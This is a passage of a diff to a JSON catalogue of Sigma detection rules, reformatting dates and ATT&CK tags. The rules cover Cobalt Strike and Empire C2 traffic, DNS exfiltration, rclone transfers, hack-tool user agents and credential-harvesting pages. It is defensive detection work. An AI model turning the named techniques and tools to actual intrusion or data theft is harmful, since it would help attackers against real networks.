(conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'." ], @@ -80773,7 +80879,7 @@ "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", "meta": { "author": "OTR (Open Threat Research), @neu5ron", - "creation_date": "2018/11/28", + "creation_date": "2018-11-28", "falsepositive": [ "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too" ], @@ -80783,12 +80889,12 @@ "logsource.product": "zeek", "refs": [ "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -80808,7 +80914,7 @@ "description": "Detects BGP failures which may be indicative of brute force attacks to manipulate routing", "meta": { "author": "Tim Brown", - "creation_date": "2023/01/09", + "creation_date": "2023-01-09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], @@ -80821,11 +80927,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/bgp/cisco_bgp_md5_auth_failed.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.credential_access", + "attack.privilege-escalation", + "attack.defense-evasion", + "attack.credential-access", "attack.collection", "attack.t1078", "attack.t1110", @@ -80862,7 +80968,7 @@ "description": "Find local accounts being created or modified as well as remote authentication configurations", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "When remote authentication is in place, this should not change often" ], @@ -80902,7 +81008,7 @@ "description": "Collect pertinent data from the configuration files", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/11", + "creation_date": "2019-08-11", "falsepositive": [ "Commonly run by administrators" ], @@ -80912,13 +81018,13 @@ "logsource.product": "cisco", "refs": [ "https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/cmdrefs/show_startup-config.htm", - "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/config-mgmt/configuration/15-sy/config-mgmt-15-sy-book/cm-config-diff.html", "https://blog.router-switch.com/2013/11/show-running-config/", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/config-mgmt/configuration/15-sy/config-mgmt-15-sy-book/cm-config-diff.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml" ], "tags": [ "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.collection", "attack.t1087.001", "attack.t1552.001", @@ -80955,7 +81061,7 @@ "description": "Show when private keys are being exported from the device, or when new certificates are installed", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Not commonly run by administrators. Also whitelist your known good certificates" ], @@ -80968,8 +81074,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml" ], "tags": [ - "attack.credential_access", - "attack.defense_evasion", + "attack.credential-access", + "attack.defense-evasion", "attack.t1553.004", "attack.t1552.004" ] @@ -80997,7 +81103,7 @@ "description": "Clear command history in network OS which is used for defense evasion", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Legitimate administrators may run these commands" ], @@ -81006,12 +81112,12 @@ "logsource.category": "No established category", "logsource.product": "cisco", "refs": [ - "https://www.cisco.com/c/en/us/td/docs/ios/12_2sr/12_2sra/feature/guide/srmgtint.html#wp1127609", "https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus5000/sw/command/reference/sysmgmt/n5k-sysmgmt-cr/n5k-sm_cmds_c.html", + "https://www.cisco.com/c/en/us/td/docs/ios/12_2sr/12_2sra/feature/guide/srmgtint.html#wp1127609", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.003" ] }, @@ -81031,7 +81137,7 @@ "description": "See what files are being deleted from flash file systems", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Will be used sometimes by admins to clean up local flash space" ], @@ -81043,7 +81149,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.impact", "attack.t1070.004", "attack.t1561.001", @@ -81080,7 +81186,7 @@ "description": "Show when a monitor or a span/rspan is setup or modified", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/11", + "creation_date": "2019-08-11", "falsepositive": [ "Admins may setup new or modify old spans, or use a monitor for troubleshooting" ], @@ -81092,7 +81198,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.discovery", "attack.t1040" ] @@ -81113,7 +81219,7 @@ "description": "Find information about network devices that is not stored in config files", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Commonly used by administrators for troubleshooting" ], @@ -81210,7 +81316,7 @@ "description": "See what commands are being input into the device by other people, full credentials can be in the history", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/11", + "creation_date": "2019-08-11", "falsepositive": [ "Not commonly run by administrators, especially if remote logging is configured" ], @@ -81222,7 +81328,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.003" ] }, @@ -81242,7 +81348,7 @@ "description": "Modifications to a config that will serve an adversary's impacts or persistence", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Legitimate administrators may run these commands" ], @@ -81299,7 +81405,7 @@ "description": "Various protocols maybe used to put data on the device for exfil or infil", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/12", + "creation_date": "2019-08-12", "falsepositive": [ "Generally used to copy configs or IOS images" ], @@ -81312,8 +81418,8 @@ ], "tags": [ "attack.collection", - "attack.lateral_movement", - "attack.command_and_control", + "attack.lateral-movement", + "attack.command-and-control", "attack.exfiltration", "attack.t1074", "attack.t1105", @@ -81350,7 +81456,7 @@ "description": "Detect a system being shutdown or put into different boot mode", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/15", + "creation_date": "2019-08-15", "falsepositive": [ "Legitimate administrators may run these commands, though rarely." ], @@ -81398,7 +81504,7 @@ "description": "Turn off logging locally or remote", "meta": { "author": "Austin Clark", - "creation_date": "2019/08/11", + "creation_date": "2019-08-11", "falsepositive": [ "Unknown" ], @@ -81411,7 +81517,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -81431,7 +81537,7 @@ "description": "Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels", "meta": { "author": "Tim Brown", - "creation_date": "2023/01/09", + "creation_date": "2023-01-09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], @@ -81444,11 +81550,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/ldp/cisco_ldp_md5_auth_failed.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.credential_access", + "attack.privilege-escalation", + "attack.defense-evasion", + "attack.credential-access", "attack.collection", "attack.t1078", "attack.t1110", @@ -81485,7 +81591,7 @@ "description": "Detects BGP failures which may be indicative of brute force attacks to manipulate routing.", "meta": { "author": "Tim Brown", - "creation_date": "2023/01/09", + "creation_date": "2023-01-09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], @@ -81498,11 +81604,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/huawei/bgp/huawei_bgp_auth_failed.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.credential_access", + "attack.privilege-escalation", + "attack.defense-evasion", + "attack.credential-access", "attack.collection", "attack.t1078", "attack.t1110", @@ -81539,7 +81645,7 @@ "description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", "meta": { "author": "Florian Roth (Nextron Systems), Matt Kelly (list of domains)", - "creation_date": "2022/06/07", + "creation_date": "2022-06-07", "falsepositive": [ "Unknown" ], @@ -81552,7 +81658,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190", "attack.reconnaissance", "attack.t1595.002" @@ -81581,7 +81687,7 @@ "description": "Detects wannacry killswitch domain dns queries", "meta": { "author": "Mike Wade", - "creation_date": "2020/09/16", + "creation_date": "2020-09-16", "falsepositive": [ "Analyst testing" ], @@ -81594,7 +81700,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -81614,7 +81720,7 @@ "description": "Detects suspicious DNS queries known from Cobalt Strike beacons", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/05/10", + "creation_date": "2018-05-10", "falsepositive": [ "Unknown" ], @@ -81628,7 +81734,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.004" ] }, @@ -81648,7 +81754,7 @@ "description": "Detects strings used in command execution in DNS TXT Answer", "meta": { "author": "Markus Neis", - "creation_date": "2018/08/08", + "creation_date": "2018-08-08", "falsepositive": [ "Unknown" ], @@ -81662,7 +81768,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.004" ] }, @@ -81682,7 +81788,7 @@ "description": "Detects suspicious DNS queries to Monero mining pools", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/10/24", + "creation_date": "2021-10-24", "falsepositive": [ "Legitimate crypto coin mining" ], @@ -81723,7 +81829,7 @@ "description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/06/05", + "creation_date": "2018-06-05", "falsepositive": [ "Legitimate use of Telegram bots in the company" ], @@ -81733,13 +81839,13 @@ "logsource.product": "No established product", "refs": [ "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", - "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://core.telegram.org/bots/faq", "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102.002" ] }, @@ -81759,7 +81865,7 @@ "description": "Detects suspicious DNS queries using base64 encoding", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/05/10", + "creation_date": "2018-05-10", "falsepositive": [ "Unknown" ], @@ -81774,7 +81880,7 @@ "tags": [ "attack.exfiltration", "attack.t1048.003", - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.004" ] }, @@ -81801,7 +81907,7 @@ "description": "Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.", "meta": { "author": "Tim Brown", - "creation_date": "2023/01/09", + "creation_date": "2023-01-09", "falsepositive": [ "Unlikely. Except due to misconfigurations" ], @@ -81814,11 +81920,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/network/juniper/bgp/juniper_bgp_missing_md5.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.credential_access", + "attack.privilege-escalation", + "attack.defense-evasion", + "attack.credential-access", "attack.collection", "attack.t1078", "attack.t1110", @@ -81855,7 +81961,7 @@ "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton", - "creation_date": "2019/03/26", + "creation_date": "2019-03-26", "falsepositive": [ "Unknown" ], @@ -81865,12 +81971,12 @@ "logsource.product": "No established product", "refs": [ "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", - "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.cisecurity.org/controls/cis-controls-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_cleartext_protocols.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "d7fb8f0e-bd5f-45c2-b467-19571c490d7e", @@ -81880,7 +81986,7 @@ "description": "Detects Baby Shark C2 Framework default communication patterns", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/06/09", + "creation_date": "2021-06-09", "falsepositive": [ "Unlikely" ], @@ -81893,7 +81999,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_hktl_baby_shark_default_agent_url.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -81913,7 +82019,7 @@ "description": "Detects WebDav DownloadCradle", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/04/06", + "creation_date": "2018-04-06", "falsepositive": [ "Administrative scripts that download files from the Internet", "Administrative scripts that retrieve certain website contents", @@ -81928,7 +82034,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_downloadcradle_webdav.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -81948,7 +82054,7 @@ "description": "Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).", "meta": { "author": "Markus Neis, Florian Roth (Nextron Systems)", - "creation_date": "2024/02/15", + "creation_date": "2024-02-15", "falsepositive": [ "Unknown" ], @@ -81957,16 +82063,16 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", - "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/", + "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", + "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_hktl_cobalt_strike_malleable_c2_requests.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -81986,7 +82092,7 @@ "description": "Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns.\n", "meta": { "author": "Ahmed Farouk", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Unknown" ], @@ -81995,14 +82101,14 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ + "https://dear-territory-023.notion.site/WebDav-Share-Testing-e4950fa0c00149c3aa430d779b9b1d0f?pvs=4", "https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462", "https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html", "https://www.trendmicro.com/en_no/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html", - "https://dear-territory-023.notion.site/WebDav-Share-Testing-e4950fa0c00149c3aa430d779b9b1d0f?pvs=4", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_webdav_external_execution.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1584", "attack.t1566" ] @@ -82030,7 +82136,7 @@ "description": "Detects user agent and URI paths used by empire agents", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/13", + "creation_date": "2020-07-13", "falsepositive": [ "Valid requests with this exact user agent to server scripts of the defined names" ], @@ -82043,8 +82149,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_hktl_empire_ua_uri_patterns.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82064,7 +82170,7 @@ "description": "Detects download of certain file types from hosts in suspicious TLDs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/11/07", + "creation_date": "2017-11-07", "falsepositive": [ "All kinds of software downloads" ], @@ -82073,14 +82179,14 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ + "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", "https://www.spamhaus.org/statistics/tlds/", - "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_tlds_blacklist.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566", "attack.execution", "attack.t1203", @@ -82117,7 +82223,7 @@ "description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/07/08", + "creation_date": "2017-07-08", "falsepositive": [ "Unknown" ], @@ -82130,7 +82236,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_frameworks.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82150,7 +82256,7 @@ "description": "Detects Bitsadmin connections to domains with uncommon TLDs", "meta": { "author": "Florian Roth (Nextron Systems), Tim Shelton", - "creation_date": "2019/03/07", + "creation_date": "2019-03-07", "falsepositive": [ "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca" ], @@ -82164,9 +82270,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190" @@ -82195,7 +82301,7 @@ "description": "Detects suspicious malformed user agent strings in proxy logs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/07/08", + "creation_date": "2017-07-08", "falsepositive": [ "Unknown" ], @@ -82208,7 +82314,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82228,7 +82334,7 @@ "description": "Detects suspicious user agent strings used by malware in proxy logs", "meta": { "author": "Florian Roth (Nextron Systems), X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2017/07/08", + "creation_date": "2017-07-08", "falsepositive": [ "Unknown" ], @@ -82237,18 +82343,18 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large", - "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", "http://www.botopedia.org/search?searchword=scan&searchphrase=all", + "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", + "https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large", "https://twitter.com/crep1x/status/1635034100213112833", + "https://perishablepress.com/blacklist/ua-2013.txt", "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", - "https://perishablepress.com/blacklist/ua-2013.txt", "https://twitter.com/kladblokje_88/status/1614673320124743681?s=12&t=joEpeVa5d58aHYNGA_To7Q", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_malware.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82268,7 +82374,7 @@ "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Unknown" ], @@ -82277,12 +82383,12 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h", + "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_cryptominer.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82302,7 +82408,7 @@ "description": "Detects User Agent strings that end with an equal sign, which can be a sign of base64 encoding.", "meta": { "author": "Florian Roth (Nextron Systems), Brian Ingram (update)", - "creation_date": "2022/07/08", + "creation_date": "2022-07-08", "falsepositive": [ "Unknown" ], @@ -82316,7 +82422,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp_base64.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82336,7 +82442,7 @@ "description": "Detects Windows PowerShell Web Access", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/13", + "creation_date": "2017-03-13", "falsepositive": [ "Administrative scripts that download files from the Internet", "Administrative scripts that retrieve certain website contents" @@ -82350,8 +82456,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_powershell.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82371,7 +82477,7 @@ "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", "meta": { "author": "Janantha Marasinghe", - "creation_date": "2022/10/18", + "creation_date": "2022-10-18", "falsepositive": [ "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations" ], @@ -82405,7 +82511,7 @@ "description": "Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.", "meta": { "author": "Gavin Knapp", - "creation_date": "2023/03/16", + "creation_date": "2023-03-16", "falsepositive": [ "Legitimate use of IPFS being used in the organisation. However the cs-uri regex looking for a user email will likely negate this." ], @@ -82414,13 +82520,13 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "https://blog.talosintelligence.com/ipfs-abuse/", - "https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638", "https://github.com/Cisco-Talos/IOCs/tree/80caca039988252fbb3f27a2e89c2f2917f582e0/2022/11", + "https://isc.sans.edu/diary/IPFS%20phishing%20and%20the%20need%20for%20correctly%20set%20HTTP%20security%20headers/29638", + "https://blog.talosintelligence.com/ipfs-abuse/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_ipfs_cred_harvest.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1056" ] }, @@ -82440,7 +82546,7 @@ "description": "Detects executable downloads from suspicious remote systems", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/03/13", + "creation_date": "2017-03-13", "falsepositive": [ "All kind of software downloads" ], @@ -82453,7 +82559,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_tlds_whitelist.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566", "attack.execution", "attack.t1203", @@ -82490,7 +82596,7 @@ "description": "Detects POST requests to the F5 BIG-IP iControl Rest API \"bash\" endpoint, which allows the execution of commands on the BIG-IP", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Thurein Oo", - "creation_date": "2023/11/08", + "creation_date": "2023-11-08", "falsepositive": [ "Legitimate usage of the BIG IP REST API to execute command for administration purposes" ], @@ -82505,7 +82611,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_f5_tm_utility_bash_api_request.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -82525,7 +82631,7 @@ "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/11/08", + "creation_date": "2017-11-08", "falsepositive": [ "Software downloads" ], @@ -82538,8 +82644,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_dyndns.yml" ], "tags": [ - "attack.defense_evasion", - "attack.command_and_control", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1105", "attack.t1568" ] @@ -82567,7 +82673,7 @@ "description": "Detect the update check performed by Advanced IP/Port Scanner utilities.", "meta": { "author": "Axel Olsson", - "creation_date": "2022/08/14", + "creation_date": "2022-08-14", "falsepositive": [ "Expected if you legitimately use the Advanced IP or Port Scanner utilities in your environement." ], @@ -82601,7 +82707,7 @@ "description": "Detects suspicious user agent strings used in APT malware in proxy logs", "meta": { "author": "Florian Roth (Nextron Systems), Markus Neis", - "creation_date": "2019/11/12", + "creation_date": "2019-11-12", "falsepositive": [ "Old browsers" ], @@ -82614,7 +82720,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_apt.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82634,7 +82740,7 @@ "description": "Detects suspicious encoded User-Agent strings, as seen used by some malware.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/04", + "creation_date": "2023-05-04", "falsepositive": [ "Unknown" ], @@ -82647,7 +82753,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_base64_encoded.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -82667,7 +82773,7 @@ "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/10", + "creation_date": "2022-06-10", "falsepositive": [ "Unknown" ], @@ -82680,9 +82786,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_ip.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1197", "attack.s0190" @@ -82711,7 +82817,7 @@ "description": "Detects a flashplayer update from an unofficial location", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/10/25", + "creation_date": "2017-10-25", "falsepositive": [ "Unknown flash download locations" ], @@ -82724,11 +82830,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_susp_flash_download_loc.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1189", "attack.execution", "attack.t1204.002", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.005" ] }, @@ -82762,7 +82868,7 @@ "description": "Detects suspicious user agent strings user by hack tools in proxy logs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/07/08", + "creation_date": "2017-07-08", "falsepositive": [ "Unknown" ], @@ -82771,14 +82877,14 @@ "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ - "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", + "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_hacktool.yml" ], 